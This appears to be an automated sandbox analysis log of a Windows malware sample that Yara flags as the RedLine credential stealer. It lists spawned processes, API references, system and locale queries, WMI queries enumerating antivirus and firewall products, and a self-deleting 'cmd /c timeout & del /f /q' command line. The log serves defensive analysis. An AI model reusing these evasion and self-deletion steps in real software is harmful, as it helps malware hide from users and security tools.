Source: 30.0.110B.exe.420000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.110B.exe.420000.3.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.420000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: explorer.exe, 0000000D.00000000.304994370.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000D.00000000.292494927.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000D.00000000.320948335.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000D.00000000.325697774.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000D.00000000.330489121.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.298660719.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.315477557.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: GetLocaleInfoW,_malloc,__MarkAllocaS,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,__freea,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _strlen,EnumSystemLocalesA,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,GetCPInfo,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,InterlockedDecrement,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultCountry,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,InterlockedDecrement,InterlockedDecrement,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _GetLcidFromDefault,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,_GetLcidFromDefault,_ProcessCodePage,IsValidCodePage,IsValidLocale,_wcscpy_s,__invoke_watson_if_error,GetLocaleInfoA,GetLocaleInfoA,__itow_s,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,GetLocaleInfoA,__stricmp,__strnicmp,_strlen,_TestDefaultCountry,GetLocaleInfoA,__stricmp,_strlen,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,___crtGetLocaleInfoA,_strncpy_s,__invoke_watson_if_error,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,InterlockedDecrement,InterlockedDecrement,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: GetLocaleInfoW,_malloc,__MarkAllocaS,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,__freea,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,GetCPInfo,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,InterlockedDecrement,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultCountry,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _strlen,EnumSystemLocalesA,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,InterlockedDecrement,InterlockedDecrement,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,___crtGetLocaleInfoA,_strncpy_s,__invoke_watson_if_error,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,InterlockedDecrement,InterlockedDecrement,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _GetLcidFromDefault,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,_GetLcidFromDefault,_ProcessCodePage,IsValidCodePage,IsValidLocale,_wcscpy_s,__invoke_watson_if_error,GetLocaleInfoA,GetLocaleInfoA,__itow_s,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,GetLocaleInfoA,__stricmp,__strnicmp,_strlen,_TestDefaultCountry,GetLocaleInfoA,__stricmp,_strlen,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\110B.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\110B.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8CA5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9B5C.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\C26E.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_0042C6C0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Source: C:\Users\user\AppData\Local\Temp\325D.exe

Code function: 22_2_0041A9D8 VerLanguageNameA,GetConsoleAliasesLengthA,SetConsoleCP,VerifyVersionInfoW,GetVersionExA,GetExitCodeProcess,TerminateThread,

Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: 110B.exe, 0000001E.00000002.557101514.00000000064E0000.00000004.00000001.sdmp	Binary or memory string: ender\MsMpeng.exe
Source: 110B.exe, 0000001E.00000002.551688741.0000000000CBF000.00000004.00000020.sdmp, 110B.exe, 0000001E.00000002.557101514.00000000064E0000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 40.0.9B5C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.110B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.A87C.exe.3720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.9B5C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
